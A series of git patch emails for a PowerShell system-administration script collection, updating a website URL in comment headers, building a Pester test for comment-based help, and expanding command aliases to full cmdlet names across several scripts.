a/TOOL-New-ScriptMessage/New-ScriptMessage.ps1 +++ b/TOOL-New-ScriptMessage/New-ScriptMessage.ps1 @@ -50,7 +50,7 @@ .NOTES Francois-Xavier Cat - www.lazywinadmin.com + lazywinadmin.com @lazywinadmin github.com/lazywinadmin #> diff --git a/TOOL-Remove-HashTableEmptyValue/Remove-HashTableEmptyValue.ps1 b/TOOL-Remove-HashTableEmptyValue/Remove-HashTableEmptyValue.ps1 index 0f040e49..ddfad359 100644 --- a/TOOL-Remove-HashTableEmptyValue/Remove-HashTableEmptyValue.ps1 +++ b/TOOL-Remove-HashTableEmptyValue/Remove-HashTableEmptyValue.ps1 @@ -12,7 +12,7 @@ .NOTES Francois-Xavier Cat @lazywinadmin - www.lazywinadmin.com + lazywinadmin.com github.com/lazywinadmin #> [CmdletBinding()] diff --git a/TOOL-Remove-PSObjectEmptyOrNullProperty/Remove-PSObjectEmptyOrNullProperty.ps1 b/TOOL-Remove-PSObjectEmptyOrNullProperty/Remove-PSObjectEmptyOrNullProperty.ps1 index af2eea94..c3b311cf 100644 --- a/TOOL-Remove-PSObjectEmptyOrNullProperty/Remove-PSObjectEmptyOrNullProperty.ps1 +++ b/TOOL-Remove-PSObjectEmptyOrNullProperty/Remove-PSObjectEmptyOrNullProperty.ps1 @@ -15,7 +15,7 @@ .NOTES Francois-Xavier Cat - www.lazywinadmin.com + lazywinadmin.com @lazywinadmin #> PARAM ( diff --git a/TOOL-Remove-PSObjectProperty/Remove-PSObjectProperty.ps1 b/TOOL-Remove-PSObjectProperty/Remove-PSObjectProperty.ps1 index 80e797b7..7d8c0f77 100644 --- a/TOOL-Remove-PSObjectProperty/Remove-PSObjectProperty.ps1 +++ b/TOOL-Remove-PSObjectProperty/Remove-PSObjectProperty.ps1 @@ -18,7 +18,7 @@ .NOTES Francois-Xavier Cat - www.lazywinadmin.com + lazywinadmin.com @lazywinadmin #> PARAM ( diff --git a/TOOL-Remove-StringDiacritic/Remove-StringDiacritic.ps1 b/TOOL-Remove-StringDiacritic/Remove-StringDiacritic.ps1 index b42a8375..492625db 100644 --- a/TOOL-Remove-StringDiacritic/Remove-StringDiacritic.ps1 +++ b/TOOL-Remove-StringDiacritic/Remove-StringDiacritic.ps1 @@ -22,7 +22,7 @@ .NOTES Francois-Xavier Cat @lazywinadmin - www.lazywinadmin.com + lazywinadmin.com github.com/lazywinadmin #> [CMdletBinding()] diff --git a/TOOL-Remove-StringSpecialCharacter/Remove-StringSpecialCharacter.ps1 b/TOOL-Remove-StringSpecialCharacter/Remove-StringSpecialCharacter.ps1 index 125bec31..25ec3a88 100644 --- a/TOOL-Remove-StringSpecialCharacter/Remove-StringSpecialCharacter.ps1 +++ b/TOOL-Remove-StringSpecialCharacter/Remove-StringSpecialCharacter.ps1 @@ -33,7 +33,7 @@ function Remove-StringSpecialCharacter .NOTES Francois-Xavier Cat @lazywinadmin - www.lazywinadmin.com + lazywinadmin.com github.com/lazywinadmin #> [CmdletBinding()] diff --git a/TOOL-Send-Email/TOOL-Send-Email.ps1 b/TOOL-Send-Email/TOOL-Send-Email.ps1 index 96d2f595..49d3e810 100644 --- a/TOOL-Send-Email/TOOL-Send-Email.ps1 +++ b/TOOL-Send-Email/TOOL-Send-Email.ps1 @@ -117,7 +117,7 @@ .NOTES Francois-Xavier Cat fxcat@lazywinadmin.com - www.lazywinadmin.com + lazywinadmin.com @lazywinadmin VERSION HISTORY diff --git a/TOOL-Set-PowerShellWindowTitle/Set-PowerShellWindowTitle.ps1 b/TOOL-Set-PowerShellWindowTitle/Set-PowerShellWindowTitle.ps1 index 67759ef4..9eb3a2f4 100644 --- a/TOOL-Set-PowerShellWindowTitle/Set-PowerShellWindowTitle.ps1 +++ b/TOOL-Set-PowerShellWindowTitle/Set-PowerShellWindowTitle.ps1 @@ -15,7 +15,7 @@ .NOTES Francois-Xavier Cat - www.lazywinadmin.com + lazywinadmin.com @lazywinadmin #> PARAM($Title) diff --git a/TOOL-Set-RDPDisable/Set-RDPDisable.ps1 b/TOOL-Set-RDPDisable/Set-RDPDisable.ps1 index de8f9196..98c4a507 100644 --- a/TOOL-Set-RDPDisable/Set-RDPDisable.ps1 +++ b/TOOL-Set-RDPDisable/Set-RDPDisable.ps1 @@ -21,7 +21,7 @@ .NOTES Francois-Xavier Cat - www.lazywinadmin.com + lazywinadmin.com @lazywinadmin #> [CmdletBinding()] diff --git a/TOOL-Set-RDPEnable/Set-RDPEnable.ps1 b/TOOL-Set-RDPEnable/Set-RDPEnable.ps1 index 08c85608..de8c2552 100644 --- a/TOOL-Set-RDPEnable/Set-RDPEnable.ps1 +++ b/TOOL-Set-RDPEnable/Set-RDPEnable.ps1 @@ -21,7 +21,7 @@ .NOTES Francois-Xavier Cat - www.lazywinadmin.com + lazywinadmin.com @lazywinadmin #> diff --git a/TOOL-Set-RemoteDesktop/Set-RemoteDesktop.ps1 b/TOOL-Set-RemoteDesktop/Set-RemoteDesktop.ps1 index 2f5cec42..3ee90304 100644 --- a/TOOL-Set-RemoteDesktop/Set-RemoteDesktop.ps1 +++ b/TOOL-Set-RemoteDesktop/Set-RemoteDesktop.ps1 @@ -21,7 +21,7 @@ .NOTES Francois-Xavier Cat - www.lazywinadmin.com + lazywinadmin.com @lazywinadmin #> diff --git a/TOOL-Test-IsLocalAdministrator/Test-IsLocalAdministrator.ps1 b/TOOL-Test-IsLocalAdministrator/Test-IsLocalAdministrator.ps1 index 83e217c0..83dd8b33 100644 --- a/TOOL-Test-IsLocalAdministrator/Test-IsLocalAdministrator.ps1 +++ b/TOOL-Test-IsLocalAdministrator/Test-IsLocalAdministrator.ps1 @@ -12,7 +12,7 @@ .NOTES Francois-Xavier Cat @lazywinadmin - www.lazywinadmin.com + lazywinadmin.com github.com/lazywinadmin #> ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator") diff --git a/TOOL-Test-RemoteDesktopIsEnabled/Test-RemoteDesktopIsEnabled.ps1 b/TOOL-Test-RemoteDesktopIsEnabled/Test-RemoteDesktopIsEnabled.ps1 index 373936f9..82103807 100644 --- a/TOOL-Test-RemoteDesktopIsEnabled/Test-RemoteDesktopIsEnabled.ps1 +++ b/TOOL-Test-RemoteDesktopIsEnabled/Test-RemoteDesktopIsEnabled.ps1 @@ -20,7 +20,7 @@ .NOTES Francois-Xavier Cat @lazywinadmin - www.lazywinadmin.com + lazywinadmin.com github.com/lazywinadmin #> diff --git a/VMWARE-HOST-List_VIB/VMWARE-HOST-List_VIB.ps1 b/VMWARE-HOST-List_VIB/VMWARE-HOST-List_VIB.ps1 index f96aead0..6b780546 100644 --- a/VMWARE-HOST-List_VIB/VMWARE-HOST-List_VIB.ps1 +++ b/VMWARE-HOST-List_VIB/VMWARE-HOST-List_VIB.ps1 @@ -15,7 +15,7 @@ This Script retrieve the VIB information on all the VMware Host VMWARE-HOST-List_VIB.ps1 -VibVendor "Dell" -Verbose .NOTES Francois-Xavier Cat - www.lazywinadmin.com + lazywinadmin.com @lazywinadmin #> [CmdletBinding(DefaultParameterSetName="All")] diff --git a/_Profiles/Microsoft.PowerShell_profile.ps1 b/_Profiles/Microsoft.PowerShell_profile.ps1 index 0e665933..3bae3834 100644 --- a/_Profiles/Microsoft.PowerShell_profile.ps1 +++ b/_Profiles/Microsoft.PowerShell_profile.ps1 @@ -5,7 +5,7 @@ Profile File .NOTES Francois-Xavier Cat - www.lazywinadmin.com + lazywinadmin.com @lazywinadmin #> diff --git a/_Template/Function_Template.ps1 b/_Template/Function_Template.ps1 index 205237cb..bb263f76 100644 --- a/_Template/Function_Template.ps1 +++ b/_Template/Function_Template.ps1 @@ -19,7 +19,7 @@ .NOTES Francois-Xavier Cat lazywinadmin.github.io - www.lazywinadmin.com + lazywinadmin.com @lazywinadmin 1.0 | 2016/00/00 | Francois-Xavier Cat From 20d385ce6f63263a536e3ee1c445fd73f6ec8327 Mon Sep 17 00:00:00 2001 From: kookie Date: Tue, 15 Oct 2019 09:19:15 +1100 Subject: [PATCH 151/561] Create Help.Tests.ps1 --- Help.Tests.ps1 | 30 ++++++++++++++++++++++++++++++ 1 file changed, 30 insertions(+) create mode 100644 Help.Tests.ps1 diff --git a/Help.Tests.ps1 b/Help.Tests.ps1 new file mode 100644 index 00000000..d75d324b --- /dev/null +++ b/Help.Tests.ps1 @@ -0,0 +1,30 @@ +Describe -Tag 'Help' 'Help' { + # dot source script + . .\TOOL-ConvertFrom-Base64\ConvertFrom-Base64.ps1 + . .\TOOL-Get-NetStat\Get-NetStat.ps1 + + $scriptName = 'ConvertFrom-Base64', 'Get-NetStat' + + foreach ($script in $scriptName) { + Context "[$script] Validate Comment Based Help" { + $functionHelp = Get-Help $script -Full + + It 'Contains Description' { + $functionHelp.Description | Should Not BeNullOrEmpty + } + + It 'Contains Synopsis' { + $functionHelp.Synopsis | Should Not BeNullOrEmpty + } + + It 'Contains Examples' { + $functionHelp.Examples | Should Not BeNullOrEmpty + } + + It 'Contains Parameters' { + $functionHelp.Parameters | Should Not BeNullOrEmpty + } + } + } +} + From c89e65a7679510308aa1739045fd55a25d403bf6 Mon Sep 17 00:00:00 2001 From: kookie Date: Tue, 15 Oct 2019 09:27:38 +1100 Subject: [PATCH 152/561] Create collection of scripts --- Help.Tests.ps1 | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/Help.Tests.ps1 b/Help.Tests.ps1 index d75d324b..adc49440 100644 --- a/Help.Tests.ps1 +++ b/Help.Tests.ps1 @@ -1,3 +1,7 @@ +$scripts = Get-ChildItem -Path $PSScriptRoot -Recurse -Filter *.ps1 | + Where-Object FullName -NotMatch '.Tests.' + + Describe -Tag 'Help' 'Help' { # dot source script . .\TOOL-ConvertFrom-Base64\ConvertFrom-Base64.ps1 From 30160ae630ca9145fbd89b893252c6387b14c353 Mon Sep 17 00:00:00 2001 From: kookie Date: Tue, 15 Oct 2019 09:31:54 +1100 Subject: [PATCH 153/561] Testing each script --- Help.Tests.ps1 | 13 ++++++------- 1 file changed, 6 insertions(+), 7 deletions(-) diff --git a/Help.Tests.ps1 b/Help.Tests.ps1 index adc49440..77b1d454 100644 --- a/Help.Tests.ps1 +++ b/Help.Tests.ps1 @@ -3,15 +3,14 @@ $scripts = Get-ChildItem -Path $PSScriptRoot -Recurse -Filter *.ps1 | Describe -Tag 'Help' 'Help' { - # dot source script - . .\TOOL-ConvertFrom-Base64\ConvertFrom-Base64.ps1 - . .\TOOL-Get-NetStat\Get-NetStat.ps1 - $scriptName = 'ConvertFrom-Base64', 'Get-NetStat' + foreach ($script in $scripts) { - foreach ($script in $scriptName) { - Context "[$script] Validate Comment Based Help" { - $functionHelp = Get-Help $script -Full + Context "[$($script.FullName)] Validate Comment Based Help" { + # Dot Source script + . .\$script.FullName + + $functionHelp = Get-Help ($script.Name).TrimEnd('.ps1') -Full It 'Contains Description' { $functionHelp.Description | Should Not BeNullOrEmpty From 265e317ea206f7bd9c50f038c0572f618bd29821 Mon Sep 17 00:00:00 2001 From: kookie Date: Tue, 15 Oct 2019 09:33:29 +1100 Subject: [PATCH 154/561] Updated script name --- Help.Tests.ps1 | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Help.Tests.ps1 b/Help.Tests.ps1 index 77b1d454..23361270 100644 --- a/Help.Tests.ps1 +++ b/Help.Tests.ps1 @@ -6,7 +6,7 @@ Describe -Tag 'Help' 'Help' { foreach ($script in $scripts) { - Context "[$($script.FullName)] Validate Comment Based Help" { + Context "[$(($script.Name).TrimEnd('.ps1'))] Validate Comment Based Help" { # Dot Source script . .\$script.FullName From fcdfc089fe61f54057140187228e86d4afdbbed3 Mon Sep 17 00:00:00 2001 From: kookie Date: Tue, 15 Oct 2019 09:50:39 +1100 Subject: [PATCH 155/561] Use basename instead of trim Trim removed function names that ended in p. Dot source fixed. No need for .\ when using full path --- Help.Tests.ps1 | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/Help.Tests.ps1 b/Help.Tests.ps1 index 23361270..bd86f607 100644 --- a/Help.Tests.ps1 +++ b/Help.Tests.ps1 @@ -6,9 +6,9 @@ Describe -Tag 'Help' 'Help' { foreach ($script in $scripts) { - Context "[$(($script.Name).TrimEnd('.ps1'))] Validate Comment Based Help" { + Context "[$($script.BaseName)] Validate Comment Based Help" { # Dot Source script - . .\$script.FullName + . $($script.FullName) $functionHelp = Get-Help ($script.Name).TrimEnd('.ps1') -Full From 5f8d3f52792de321e88c51b0780fa3ecfc13fdef Mon Sep 17 00:00:00 2001 From: kookie Date: Tue, 15 Oct 2019 10:22:01 +1100 Subject: [PATCH 156/561] Logic added to skip scripts When dot sourcing the scripts will automaticaly run. Added logic to remove the scripts and pass pester tests with $true should be $true. --- Help.Tests.ps1 | 49 +++++++++++++++++++++++++++++++++---------------- 1 file changed, 33 insertions(+), 16 deletions(-) diff --git a/Help.Tests.ps1 b/Help.Tests.ps1 index bd86f607..a36aa18e 100644 --- a/Help.Tests.ps1 +++ b/Help.Tests.ps1 @@ -1,31 +1,48 @@ $scripts = Get-ChildItem -Path $PSScriptRoot -Recurse -Filter *.ps1 | Where-Object FullName -NotMatch '.Tests.' +[regex]$regex = "(^[A-Z\-]+-)" Describe -Tag 'Help' 'Help' { foreach ($script in $scripts) { Context "[$($script.BaseName)] Validate Comment Based Help" { - # Dot Source script - . $($script.FullName) - $functionHelp = Get-Help ($script.Name).TrimEnd('.ps1') -Full - - It 'Contains Description' { - $functionHelp.Description | Should Not BeNullOrEmpty - } - - It 'Contains Synopsis' { - $functionHelp.Synopsis | Should Not BeNullOrEmpty - } - - It 'Contains Examples' { - $functionHelp.Examples | Should Not BeNullOrEmpty + # Correct name where file name does not match function name + if ($script.Name -Match $regex) { + $name = $script.BaseName.Replace($Matches[0], '') + } else { + $name = $script.BaseName } - It 'Contains Parameters' { - $functionHelp.Parameters | Should Not BeNullOrEmpty + # Only process functions and not scripts + if ((Get-Content -Path $script.FullName -TotalCount 1) -match 'function') { + + # Dot Source script + . $($script.FullName) + + $functionHelp = Get-Help $name -Full + + It 'Contains Description' { + $functionHelp.Description | Should Not BeNullOrEmpty + } + + It 'Contains Synopsis' { + $functionHelp.Synopsis | Should Not BeNullOrEmpty + } + + It 'Contains Examples' { + $functionHelp.Examples | Should Not BeNullOrEmpty + } + + It 'Contains Parameters' { + $functionHelp.Parameters | Should Not BeNullOrEmpty + } + } else { + It "[$($script.BaseName)] is not a function and skipped" { + $true | Should Be $true + } } } } From 4f63beeb7851baaf3344654d04bf3ccd17622223 Mon Sep 17 00:00:00 2001 From: kookie Date: Tue, 15 Oct 2019 10:22:35 +1100 Subject: [PATCH 157/561] Prevent function from running Extra line causes function to run. --- AD-SITE-Get-ADSiteInventory/Get-ADSiteInventory.ps1 | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/AD-SITE-Get-ADSiteInventory/Get-ADSiteInventory.ps1 b/AD-SITE-Get-ADSiteInventory/Get-ADSiteInventory.ps1 index dccc2a99..6752d85a 100644 --- a/AD-SITE-Get-ADSiteInventory/Get-ADSiteInventory.ps1 +++ b/AD-SITE-Get-ADSiteInventory/Get-ADSiteInventory.ps1 @@ -105,4 +105,4 @@ }#get-ADSiteServicesInfo #get-ADSiteServicesInfo #| export-csv .\test.csv -Get-ADSiteInventory +#Get-ADSiteInventory From 8a81cea17749e0df835d59b83a67eab99c700793 Mon Sep 17 00:00:00 2001 From: kookie Date: Tue, 15 Oct 2019 10:28:21 +1100 Subject: [PATCH 158/561] Renamed file to match function name --- ...ableNotEmptyValue.ps1 => Get-HashTableNotEmptyOrNullValue.ps1} | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename TOOL-Get-HashTableNotEmptyValue/{Get-HashTableNotEmptyValue.ps1 => Get-HashTableNotEmptyOrNullValue.ps1} (100%) diff --git a/TOOL-Get-HashTableNotEmptyValue/Get-HashTableNotEmptyValue.ps1 b/TOOL-Get-HashTableNotEmptyValue/Get-HashTableNotEmptyOrNullValue.ps1 similarity index 100% rename from TOOL-Get-HashTableNotEmptyValue/Get-HashTableNotEmptyValue.ps1 rename to TOOL-Get-HashTableNotEmptyValue/Get-HashTableNotEmptyOrNullValue.ps1 From 978ff4ba99d55053533a44863450dddedc326e28 Mon Sep 17 00:00:00 2001 From: kookie Date: Tue, 15 Oct 2019 10:51:13 +1100 Subject: [PATCH 159/561] Added exception to function template Function Template file has the Get-Something function name. Forced script to load the correct name. --- Help.Tests.ps1 | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/Help.Tests.ps1 b/Help.Tests.ps1 index a36aa18e..2312b1f2 100644 --- a/Help.Tests.ps1 +++ b/Help.Tests.ps1 @@ -12,6 +12,10 @@ Describe -Tag 'Help' 'Help' { # Correct name where file name does not match function name if ($script.Name -Match $regex) { $name = $script.BaseName.Replace($Matches[0], '') + } elseif ($script.Name -match 'O365-') { + $name = $script.BaseName.Replace($Matches[0], '') + } elseif ($script.Name -match 'Function_Template.ps1') { + $name = 'Get-Something' } else { $name = $script.BaseName } From eba5a76d975c58251906003d07f5958a43ed4a73 Mon Sep 17 00:00:00 2001 From: kookie Date: Tue, 15 Oct 2019 11:02:53 +1100 Subject: [PATCH 160/561] Added skip parameter for scripts --- Help.Tests.ps1 | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/Help.Tests.ps1 b/Help.Tests.ps1 index 2312b1f2..7191cc81 100644 --- a/Help.Tests.ps1 +++ b/Help.Tests.ps1 @@ -45,8 +45,7 @@ Describe -Tag 'Help' 'Help' { } } else { It "[$($script.BaseName)] is not a function and skipped" { - $true | Should Be $true - } + } -Skip } } } From 9ade402d0d20586bf8ff622692655ba3e02824a7 Mon Sep 17 00:00:00 2001 From: sk82jack Date: Tue, 22 Oct 2019 23:14:20 +0100 Subject: [PATCH 161/561] Expand aliases to their full cmdlet/function names --- .../Get-SCSMUserManager.ps1 | 2 +- .../Get-SCSMWorkItemChildItem.ps1 | 2 +- TOOL-Invoke-Ping/Invoke-Ping.ps1 | 48 +++++++++---------- TOOL-Out-Excel/Out-Excel.ps1 | 4 +- _Profiles/functions/Find-Apartment.ps1 | 6 +-- _Profiles/functions/show-object.ps1 | 4 +- 6 files changed, 33 insertions(+), 33 deletions(-) diff --git a/SCSM-Get-SCSMUserManager/Get-SCSMUserManager.ps1 b/SCSM-Get-SCSMUserManager/Get-SCSMUserManager.ps1 index 7b889de8..689e03b9 100644 --- a/SCSM-Get-SCSMUserManager/Get-SCSMUserManager.ps1 +++ b/SCSM-Get-SCSMUserManager/Get-SCSMUserManager.ps1 @@ -10,7 +10,7 @@ ## MAIN $affectedUser_obj = get-scsmobject -id $input_affectedUser_id $userManagesUser_relclass_id = '4a807c65-6a1f-15b2-bdf3-e967e58c254a' - $managerOfAffectedUser_relobjs = Get-SCSMRelationshipObject -ByTarget $affectedUser_obj | where{ $_.relationshipId -eq $userManagesUser_relclass_id } + $managerOfAffectedUser_relobjs = Get-SCSMRelationshipObject -ByTarget $affectedUser_obj | Where-Object{ $_.relationshipId -eq $userManagesUser_relclass_id } ## Check if Manager User Exists and that the relationship is current. ## get-scsmrelationshipobject tends to keep track of relationship history. It returns old and new diff --git a/SCSM-Get-SCSMWorkItemChildItem/Get-SCSMWorkItemChildItem.ps1 b/SCSM-Get-SCSMWorkItemChildItem/Get-SCSMWorkItemChildItem.ps1 index 8b33a9e6..009896d9 100644 --- a/SCSM-Get-SCSMWorkItemChildItem/Get-SCSMWorkItemChildItem.ps1 +++ b/SCSM-Get-SCSMWorkItemChildItem/Get-SCSMWorkItemChildItem.ps1 @@ -11,7 +11,7 @@ $inputPWI_obj = get-scsmobject -id $inputPWI_guid $containsActivity_relclass_id = '2da498be-0485-b2b2-d520-6ebd1698e61b' $childWIs_relobj_filter = "RelationshipId -eq '$containsActivity_relclass_id'" - $childWIs_relobj = Get-SCSMRelationshipObject -BySource $inputPWI_obj | where{ $_.RelationshipId -eq $containsActivity_relclass_id } + $childWIs_relobj = Get-SCSMRelationshipObject -BySource $inputPWI_obj | Where-Object{ $_.RelationshipId -eq $containsActivity_relclass_id } ForEach ($childWI_relobj in $childWIs_relobj) { if ($childWI_relobj.IsDeleted -ne 'false') diff --git a/TOOL-Invoke-Ping/Invoke-Ping.ps1 b/TOOL-Invoke-Ping/Invoke-Ping.ps1 index 6dfc8f6d..171a6488 100644 --- a/TOOL-Invoke-Ping/Invoke-Ping.ps1 +++ b/TOOL-Invoke-Ping/Invoke-Ping.ps1 @@ -1,4 +1,4 @@ -Function Invoke-Ping +Function Invoke-Ping { <# .SYNOPSIS @@ -147,12 +147,12 @@ Function Invoke-Ping $StandardUserEnv = [powershell]::Create().addscript({ #Get modules and snapins in this clean runspace - $Modules = Get-Module | Select -ExpandProperty Name - $Snapins = Get-PSSnapin | Select -ExpandProperty Name + $Modules = Get-Module | Select-Object -ExpandProperty Name + $Snapins = Get-PSSnapin | Select-Object -ExpandProperty Name #Get variables in this clean runspace #Called last to get vars like $? into session - $Variables = Get-Variable | Select -ExpandProperty Name + $Variables = Get-Variable | Select-Object -ExpandProperty Name #Return a hashtable where we can access each. @{ @@ -167,22 +167,22 @@ Function Invoke-Ping #Exclude common parameters, bound parameters, and automatic variables Function _temp { [cmdletbinding()] param () } - $VariablesToExclude = @((Get-Command _temp | Select -ExpandProperty parameters).Keys + $PSBoundParameters.Keys + $StandardUserEnv.Variables) - Write-Verbose "Excluding variables $(($VariablesToExclude | sort) -join ", ")" + $VariablesToExclude = @((Get-Command _temp | Select-Object -ExpandProperty parameters).Keys + $PSBoundParameters.Keys + $StandardUserEnv.Variables) + Write-Verbose "Excluding variables $(($VariablesToExclude | Sort-Object) -join ", ")" # we don't use 'Get-Variable -Exclude', because it uses regexps. # One of the veriables that we pass is '$?'. # There could be other variables with such problems. # Scope 2 required if we move to a real module - $UserVariables = @(Get-Variable | Where { -not ($VariablesToExclude -contains $_.Name) }) - Write-Verbose "Found variables to import: $(($UserVariables | Select -expandproperty Name | Sort) -join ", " | Out-String).`n" + $UserVariables = @(Get-Variable | Where-Object { -not ($VariablesToExclude -contains $_.Name) }) + Write-Verbose "Found variables to import: $(($UserVariables | Select-Object -expandproperty Name | Sort-Object) -join ", " | Out-String).`n" } if ($ImportModules) { - $UserModules = @(Get-Module | Where { $StandardUserEnv.Modules -notcontains $_.Name -and (Test-Path $_.Path -ErrorAction SilentlyContinue) } | Select -ExpandProperty Path) - $UserSnapins = @(Get-PSSnapin | Select -ExpandProperty Name | Where { $StandardUserEnv.Snapins -notcontains $_ }) + $UserModules = @(Get-Module | Where-Object { $StandardUserEnv.Modules -notcontains $_.Name -and (Test-Path $_.Path -ErrorAction SilentlyContinue) } | Select-Object -ExpandProperty Path) + $UserSnapins = @(Get-PSSnapin | Select-Object -ExpandProperty Name | Where-Object { $StandardUserEnv.Snapins -notcontains $_ }) } } @@ -220,7 +220,7 @@ Function Invoke-Ping $runMin = [math]::Round($runtime.totalminutes, 2) #set up log object - $log = "" | select Date, Action, Runtime, Status, Details + $log = "" | Select-Object Date, Action, Runtime, Status, Details $log.Action = "Removing:'$($runspace.object)'" $log.Date = $currentdate $log.Runtime = "$runMin minutes" @@ -295,7 +295,7 @@ Function Invoke-Ping #Clean out unused runspace jobs $temphash = $runspaces.clone() - $temphash | Where { $_.runspace -eq $Null } | ForEach { + $temphash | Where-Object { $_.runspace -eq $Null } | ForEach-Object { $Runspaces.remove($_) } @@ -345,7 +345,7 @@ Function Invoke-Ping [void]$list.Add($Ast.SubExpression) } - $UsingVar = $UsingVariables | Group Parent | ForEach { $_.Group | Select -First 1 } + $UsingVar = $UsingVariables | Group-Object Parent | ForEach-Object { $_.Group | Select-Object -First 1 } #Extract the name, value, and create replacements for each $UsingVariableData = ForEach ($Var in $UsingVar) @@ -440,11 +440,11 @@ Function Invoke-Ping if ($LogFile) { New-Item -ItemType file -path $logFile -force | Out-Null - ("" | Select Date, Action, Runtime, Status, Details | ConvertTo-Csv -NoTypeInformation -Delimiter ";")[0] | Out-File $LogFile + ("" | Select-Object Date, Action, Runtime, Status, Details | ConvertTo-Csv -NoTypeInformation -Delimiter ";")[0] | Out-File $LogFile } #write initial log entry - $log = "" | Select Date, Action, Runtime, Status, Details + $log = "" | Select-Object Date, Action, Runtime, Status, Details $log.Date = Get-Date $log.Action = "Batch processing started" $log.Runtime = $null @@ -557,7 +557,7 @@ Function Invoke-Ping #endregion add scripts to runspace pool } - Write-Verbose ("Finish processing the remaining runspace jobs: {0}" -f (@($runspaces | Where { $_.Runspace -ne $Null }).Count)) + Write-Verbose ("Finish processing the remaining runspace jobs: {0}" -f (@($runspaces | Where-Object { $_.Runspace -ne $Null }).Count)) Get-RunspaceData -wait if (-not $quiet) @@ -728,7 +728,7 @@ Function Invoke-Ping { $DNSEntity = [Net.Dns]::GetHostEntry($name) $domain = ($DNSEntity.hostname).replace("$name.", "") - $ips = $DNSEntity.AddressList | %{ + $ips = $DNSEntity.AddressList | ForEach-Object{ if (-not (-not $IPV6 -and $_.AddressFamily -like "InterNetworkV6")) { $_.IPAddressToString @@ -737,7 +737,7 @@ Function Invoke-Ping } catch { - $rst = New-Object -TypeName PSObject -Property $Hash | Select -Property $props + $rst = New-Object -TypeName PSObject -Property $Hash | Select-Object -Property $props $rst.name = $name $results += $rst $failed = 1 @@ -748,7 +748,7 @@ Function Invoke-Ping foreach ($ip in $ips) { - $rst = New-Object -TypeName PSObject -Property $Hash | Select -Property $props + $rst = New-Object -TypeName PSObject -Property $Hash | Select-Object -Property $props $rst.name = $name $rst.ip = $ip $rst.domain = $domain @@ -832,7 +832,7 @@ Function Invoke-Ping $w = [wmi] '' $w.psbase.options.timeout = 15000000 $w.path = "\\$Name\root\cimv2:Win32_ComputerSystem.Name='$Name'" - $w | select none | Out-Null + $w | Select-Object none | Out-Null $rst.RPC = $true } catch @@ -897,8 +897,8 @@ Function Invoke-Ping $detail = "WSMan", "RemoteReg", "RPC", "RDP", "SMB" } - $detail | Select -Unique | Foreach-Object { $TestServerParams.add($_, $True) } - Test-Server @TestServerParams | Select -Property $("Name", "IP", "Domain", "Ping" + $detail) + $detail | Select-Object -Unique | Foreach-Object { $TestServerParams.add($_, $True) } + Test-Server @TestServerParams | Select-Object -Property $("Name", "IP", "Domain", "Ping" + $detail) } Catch { @@ -914,7 +914,7 @@ Function Invoke-Ping $result = $null if ($result = @(Test-Connection -ComputerName $computer -Count 2 -erroraction Stop)) { - $Output = $result | Select -first 1 -Property Address, + $Output = $result | Select-Object -first 1 -Property Address, IPV4Address, IPV6Address, ResponseTime, @@ -948,7 +948,7 @@ Function Invoke-Ping $status = "Error: $_" } - "" | Select -Property @{ label = "Address"; expression = { $computer } }, + "" | Select-Object -Property @{ label = "Address"; expression = { $computer } }, IPV4Address, IPV6Address, ResponseTime, diff --git a/TOOL-Out-Excel/Out-Excel.ps1 b/TOOL-Out-Excel/Out-Excel.ps1 index a5f25d1c..758cfd34 100644 --- a/TOOL-Out-Excel/Out-Excel.ps1 +++ b/TOOL-Out-Excel/Out-Excel.ps1 @@ -43,11 +43,11 @@ $property = @() if ($raw) { - $_.properties.PropertyNames | %{ $property += @($_) } + $_.properties.PropertyNames | ForEach-Object{ $property += @($_) } } else { - $_.PsObject.get_properties() | % { $property += @($_.Name.ToString()) } + $_.PsObject.get_properties() | ForEach-Object { $property += @($_.Name.ToString()) } } } $Column = 1 diff --git a/_Profiles/functions/Find-Apartment.ps1 b/_Profiles/functions/Find-Apartment.ps1 index fda9ad70..b901de80 100644 --- a/_Profiles/functions/Find-Apartment.ps1 +++ b/_Profiles/functions/Find-Apartment.ps1 @@ -1,4 +1,4 @@ -Function Find-Apartment +Function Find-Apartment { <# .SYNOPSIS @@ -16,7 +16,7 @@ Function Find-Apartment $AvailableRooms = @() For ($CurrentPage=0;$CurrentPage -le $MaxPages;$CurrentPage++) { $WebPage = Invoke-WebRequest "$URL/search/roo?=roo&s=$Start&query=&zoomToPosting=&minAsk=$MinPrice&maxAsk=$MaxPrice&hasPic=1" - $Results = $WebPage.ParsedHtml.body.innerHTML.Split("`n") | ? { $_ -like "

\(","") -replace "\)\.*" If ($Neighborhood -like "<*") { $Neighborhood = "N/A" } $Link = $URL + ((($Item -replace ".*\'))[0] - $Email = (($(Invoke-WebRequest $Link).ParsedHtml.body.innerHTML.Split("`n") | ? { $_ -like "var displayEmail*" }) -replace "var displayEmail \= `"") -replace "`";" + $Email = (($(Invoke-WebRequest $Link).ParsedHtml.body.innerHTML.Split("`n") | Where-Object { $_ -like "var displayEmail*" }) -replace "var displayEmail \= `"") -replace "`";" $Description = ((($Item -replace ".*\'))[1] $ItemObject = New-Object -TypeName PSObject -Property @{ 'ID' = $ID diff --git a/_Profiles/functions/show-object.ps1 b/_Profiles/functions/show-object.ps1 index c56563fb..a4226d0c 100644 --- a/_Profiles/functions/show-object.ps1 +++ b/_Profiles/functions/show-object.ps1 @@ -35,7 +35,7 @@ Add-Type -Assembly System.Windows.Forms ## Figure out the variable name to use when displaying the ## object navigation syntax. To do this, we look through all ## of the variables for the one with the same object identifier. -$rootVariableName = dir variable:\* -Exclude InputObject,Args | +$rootVariableName = Get-ChildItem variable:\* -Exclude InputObject,Args | Where-Object { $_.Value -and ($_.Value.GetType() -eq $InputObject.GetType()) -and @@ -43,7 +43,7 @@ $rootVariableName = dir variable:\* -Exclude InputObject,Args | } ## If we got multiple, pick the first -$rootVariableName = $rootVariableName| % Name | Select -First 1 +$rootVariableName = $rootVariableName| ForEach-Object Name | Select-Object -First 1 ## If we didn't find one, use a default name if(-not $rootVariableName) From b4b0ee8c9397d8ca184b495044e5bea7263b6455 Mon Sep 17 